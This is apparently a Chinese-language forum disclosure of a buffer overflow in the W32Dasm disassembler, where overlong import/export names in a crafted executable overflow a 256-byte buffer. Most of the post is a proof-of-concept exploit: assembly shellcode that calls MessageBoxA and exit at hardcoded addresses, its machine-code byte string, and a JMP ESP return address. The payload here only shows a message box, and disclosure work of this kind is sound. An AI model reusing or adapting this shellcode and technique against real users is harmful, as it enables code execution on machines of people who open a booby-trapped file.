W32Dasm使用wprintf()函数拷贝
分析文件的引入/导出函数名到一个256字节的缓冲区,超长导入/输出函数
名可发生缓冲区溢出,精心构建一个恶意可执行文件,诱使用户调试,可
以进程权限在系统上执行任意指令。
附件是测试程序
用W32Dasm载入测试后部分系统会弹出MessageBox对话框
标题Successn内容We Got It!
由于Windows XP SP2有溢出保护机制不会弹出对话框但会令W32Dasm崩溃
该漏洞危害很大可能被软件编写者用来设置暗桩。
附件:EXP.rar
对话框汇编代码
代码:
push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77D4F90B//User32.dll起始地址77d10000+ MessageBoxA偏移量0003F90B=77D4F90B
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp
push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4] //以上代码以0为参数调用exit函数,使应用程序以代码0退出运行
mov esp,ebp
pop ecx
pop ebp
转换为机器码为
\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x0B\xF9\xD4\x77\xff\x55\xe8\x8b\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b\xe5\x59\x5d
程序用一个JMP ESP// \x12\x45\xfa\x7f